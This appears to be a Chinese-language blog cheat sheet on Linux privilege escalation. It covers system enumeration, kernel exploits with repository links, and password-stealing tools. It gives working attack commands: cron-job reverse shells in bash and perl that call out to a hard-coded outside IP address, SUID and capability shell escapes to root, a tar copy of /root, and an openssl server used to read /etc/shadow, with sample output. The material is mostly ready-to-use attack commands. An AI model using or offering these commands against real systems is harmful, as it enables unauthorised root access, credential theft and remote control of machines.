💢 Linux 提权参考手册
简介 👻
SUID 提升:利用已安装程序的 SUID 权限(比如 sudo、rsync 等)来执行 shell 获得 root 权限。 在线服务提升:利用漏洞程序(比如使用 CGI 脚本)中的重定向或者上传漏洞来提升权限。 开机脚本提升:修改开机自启动脚本(比如 crontab)或服务配置文件,在开机时执行命令获取 root 权限。 未授权上传路径提升:上传脚本文件到临时路径或日志路径下利用 crontab 定期执行来提升权限。 忘记关闭 sudo 提升:利用其他用户忘记关闭的 sudo 会话来获取 root 权限。 提权 EXP 利用内核漏洞:利用内核漏洞如 DirtyCOW 来提升到 root 用户。 用户环境变量提升:修改用户 PATH 环境变量引入提升脚本 密码重置提升:通过重置管理员或 root 用户的密码来获取最高权限。 利用系统组件配置不当、软件漏洞利用等方式,都可以尝试通过一个低权限用户获取到高级权限如 root 权限。
本质 ☺️
提权技巧 😶🌫️
基本系统枚举,信息搜集 命令历史 OpenVPN 凭证 tcpdump 文件中的凭据 可写文件 SSH 私钥 内核漏洞 sudo -l sudo CVE sudo LD_PRELOAD SUID / GUID 二进制 SUID PATH 环境变量 Cron 选项卡和计划任务 功能(Python - Perl - Tar - OpenSSL) NFS Root Squashing chkrootkit 0.49 Tmux(附加会话) screen(附加会话) MySQL 以 root 身份运行 MySQL UDF(用户定义函数)代码(UDF)注入
信息搜集 🤓
内核设备信息: uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构(64 位/32 位) hostname 系统主机名 cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息 cat /proc/cpuinfo CPU 信息 用户和群组信息: cat /etc/passwd 列出系统上的所有用户 cat /etc/group 列出系统上的所有组 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog -u %username% 有关指定用户上次登录的信息 lastlog |grep -v "Never" 以前登录用户的信息 用户和权限信息: whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 谁被允许以 root 身份执行 sudo -l 当前用户可以以 root 身份执行操作 环境系统变量信息: env 显示环境变量 set 现实环境变量 echo $PATH 路径信息 history 显示当前用户的历史命令记录 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的 shell
内核漏洞提权 😫
CVE-2016-5195
****大名鼎鼎的脏牛(DirtyCow)提权漏洞——官网:https://dirtycow.ninja 漏洞原理:在 Linux 内核的内存子系统处理私有只读内存映射的写时复制(COW)损坏的方式中发现了一种竞争状况。一个没有特权的本地用户可以使用此漏洞来获取对只读存储器映射的写访问权,从而增加他们在系统上的特权。 提权利用: https://github.com/dirtycow/dirtycow.github.io https://github.com/gbonacini/CVE-2016-5195 https://github.com/FireFart/dirtycow https://github.com/Rvn0xsy/reverse_dirty
CVE-2017-16995
https://github.com/Al1ex/CVE-2017-16995 https://github.com/Jewel591/Privilege-Escalation
CVE-2019-13272
https://github.com/oneoy/CVE-2019-13272 https://github.com/Huandtx/CVE-2019-13272 https://github.com/icecliffs/Linux-For-Root
CVE-2019-14287
https://github.com/Twinkeer/CVE
CVE-2022-0847
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit Dirty Pipe
抓取密码提权 😀
密码 hash 破解,hachcat,john 等工具 密码 hash 嗅探,https://github.com/huntergregal/mimipenguin https://github.com/ph4ntonn/Impost3r ,窃取 linux 下各类密码(ssh,su,sudo)
计划任务提权 🧛
利用原理:
当 /bin/sh指向/bin/dash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹:* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333
0>&1"
这样弹shell的时候不知道为什么很慢,耐心等等
/1 * * * * root perl -e 'use
Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
SUID 提权 😀
SUID 概念:SUID(设置用户 ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。那么,为什么要给 Linux 二进制文件设置这种权限呢?其实原因有很多,例如,程序 ping 需要 root 权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。 SUID 提权:什么是 suid 提权呢?一个文件,它有 s 标志,并且他输入 root,那么我们运行这个程序就可以有了 root 的权限,并且这个程序还得能执行命令,那么我们就能从普通用户提升到了 root 权限了。 在本地查找符合条件的文件。 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
常见可利用提权程序 🫢
nmap,sudo nmap --interactive 进入交互模式,!sh 获取 shell。新版本没有这个参数,可以使用写一个 nse 脚本提权,msf 有模块 vim ,!/bin/sh find ,find text.sh -exec "/bin/sh" ; Bash ,bash -p More, Less ,git,!/bin/bash Nano ,sudo /bin/nano 进入,CTRL+R,CTRL+X;输入 reset; sh 1>&0 2>&0 cp ,替换 passwd 文件 netcat,sudo ncat -vnlp 1111 -e bash 直接反弹 root,bash, find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
利用 Capabilities 提权 🏌️
我们运行 SUID 的命令时,通常只是需要使用一小部分特权,但是使用 SUID,却可以拥有 root 用户的全部权限。所以,一旦 SUID 的文件存在漏洞,便可能被利用,以 root 身份执行其他操作。 SUID 的问题,主要在于权限控制太粗糙。为了对 root 身份进行更加精细的控制,Linux 增加了另一种机制,即 capabilities。 Capabilities 机制,是在 Linux 内核 2.2 之后引入的。它将 root 用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果 euid 不是 root,便会检查是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。
改变文件的所属者(chown()) | CAP_CHOWN |
---|---|
向进程发送信号(kill(), signal()) | CAP_KILL |
改变进程的 uid(setuid(), setreuid(), setresuid()等) | CAP_SETUID |
trace 进程(ptrace()) | CAP_SYS_PTRACE |
设置系统时间(settimeofday(), stime()等) | CAP_SYS_TIME |
capability 名称 | 描述 |
---|---|
CAPAUDITCONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
CAPAUDITREAD | 允许通过 multicast netlink 套接字读取审计日志 |
CAPAUDITWRITE | 将记录写入内核审计日志 |
CAPBLOCKSUSPEND | 使用可以阻止系统挂起的特性 |
CAP_CHOWN | 修改文件所有者的权限 |
CAPDACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAPDACREAD_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
CAP_FSETID | 允许设置文件的 setuid 位 |
CAPIPCLOCK | 允许锁定共享内存片段 |
CAPIPCOWNER | 忽略 IPC 所有权检查 |
CAP_KILL | 允许对不属于自己的进程发送信号 |
CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
CAPLINUXIMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
CAPMACADMIN | 允许 MAC 配置或状态更改 |
CAPMACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAP_MKNOD | 允许使用 mknod() 系统调用 |
CAPNETADMIN | 允许执行网络管理任务 |
CAPNETBIND_SERVICE | 允许绑定到小于 1024 的端口 |
CAPNETBROADCAST | 允许网络广播和多播访问 |
CAPNETRAW | 允许使用原始套接字 |
CAP_SETGID | 允许改变进程的 GID |
CAP_SETFCAP | 允许为文件设置任意的 capabilities |
CAP_SETPCAP | 参考 capabilities man page |
CAP_SETUID | 允许改变进程的 UID |
CAPSYSADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
CAPSYSBOOT | 允许重新启动系统 |
CAPSYSCHROOT | 允许使用 chroot() 系统调用 |
CAPSYSMODULE | 允许插入和删除内核模块 |
CAPSYSNICE | 允许提升优先级及设置其他进程的优先级 |
CAPSYSPACCT | 允许执行进程的 BSD 式审计 |
CAPSYSPTRACE | 允许跟踪任何进程 |
CAPSYSRAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
CAPSYSRESOURCE | 忽略资源限制 |
CAPSYSTIME | 允许改变系统时钟 |
CAPSYSTTY_CONFIG | 允许配置 TTY 设备 |
CAP_SYSLOG | 允许使用 syslog() 系统调用 |
CAPWAKEALARM | 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器) |
## 查询全部
getcap 文件路径
getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null
设置
## 多个Capabilities以分号划分
setcap [Capabilities名称]=eip [路径]
## 设置多个案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
设置时路径要指定源文件,不可以是链接文件,如果报错可以查看是不是路径指定的为链接文件
删除
setcap -r [路径]
5.1 查找设置了capabilities可执行文件
getcap -r / 2>/dev/null
5.2 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
5.3 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
5.4 php
php -r "posix_setuid(0); system('/bin/sh');"
5.5 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
5.6 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
5.7 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.8 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.9 tar
tar权限
norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tar = cap_dac_read_search+ep
cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
绕过权限检查即可成功创建压缩文件
norris@sirrom:~$ tar -vcf root.tar /root
tar: Removing leading `/' from member names
/root/
/root/root.txt
/root/.bashrc
/root/.gnupg/
/root/.gnupg/private-keys-v1.d/
/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile
解压缩
norris@sirrom:~$ ls -la root.tar
-rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
norris@sirrom:~$ tar -xf root.tar
norris@sirrom:~$ ls -la /root
total 36
drwx------ 5 norris norris 4096 Oct 11 2019 .
drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
-r-------- 1 norris norris 672 Oct 11 2019 .bash_history
-rw-r--r-- 1 norris norris 570 Jan 31 2010 .bashrc
drwx------ 2 norris norris 4096 Oct 11 2019 .cache
drwx------ 3 norris norris 4096 Oct 11 2019 .gnupg
drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
-rw-r--r-- 1 norris norris 148 Aug 17 2015 .profile
-rw------- 1 norris norris 33 Oct 11 2019 root.txt
读取root.txt文件
norris@sirrom:~$ cat /root/root.txt
8fc9376d961670ca10be270d52eda423
5.10 openssl
使用openssl读取/etc/shadow文件。
setcap =ep /usr/bin/openssl
# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /
# 启动web服务器,监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP
# 访问本机的web服务,读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::
利用 SUDO 提权 🧌
可查找关于 sudo 的提权漏洞 searchsploit sudo CVE-2021-4034 - Pkexec 本地权限升级的自包含漏洞利用 https://github.com/ly4k/PwnKit https://github.com/TH3xACE/SUDO_KILLER 利用 sudo 进行提权
利用环境变量提权 ❣️
查看当前环境变量 echo $PATH 找到 suid 文件进行提权,控制文件执行的命令,通过修改环境变量优先级,替换执行的命令
ROOT 权限服务利用 😲
以 root 的运行的服务,其中包括第三方软件都可以进行提权。
利用工具 🗨️
searchsploit Privilege Escalation https://github.com/GTFOBins/GTFOBins.github.io GTFOBins 是 Unix 二进制文件的精选列表,可用于绕过配置错误的系统中的本地安全限制
开源提权工具集 ✍️
https://github.com/SecWiki/linux-kernel-exploits linux 内核漏洞提权 https://github.com/Snoopy-Sec/Localroot-ALL-CVE linux 内核漏洞提权 poc 合集 https://github.com/trickest/cve 收集并更新所有可用的和最新的 CVE 及其 PoC。 https://github.com/Ascotbe/Kernelhub 各大系统提权合集 https://github.com/carlospolop/PEASS-ng 自动检测本地权限提升的路径 https://github.com/nomi-sec/PoC-in-GitHub 自动搜集 github 上存在的 poc https://github.com/Mr-xn/Penetration_Testing_POC POC、EXP、脚本、提权 https://github.com/tr0uble-mAker/POC-bomber 利用大量高危害漏洞的 POC/EXP https://github.com/liamg/traitor linux 自动检测提权 https://github.com/The-Z-Labs/linux-exploit-suggester linux 检测可提权的配置以及漏洞 https://github.com/TH3xACE/SUDO_KILLER sudo 权限提升漏洞检测
其他综合工具 🥷
https://github.com/topics/privilege-escalation https://github.com/topics/privilege-escalation-exploits https://github.com/topics/kernel-exploitation https://github.com/topics/linux-kernel https://github.com/topics/linux-exploits https://github.com/topics/kernel-exploitation https://github.com/topics/linux-kernel https://github.com/topics/linux-exploits
参考链接 ☠️
https://github.com/RoqueNight/Linux-Privilege-Escalation-Basics https://github.com/rishabhkant07/Privilege-Escalation-Cheatsheet-Vulnhub- https://github.com/Goqi/AvHunt https://github.com/Getshell/LinuxTQ
Over 。。。🧐
Over 。。。🧐
Over 。。。🧐
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...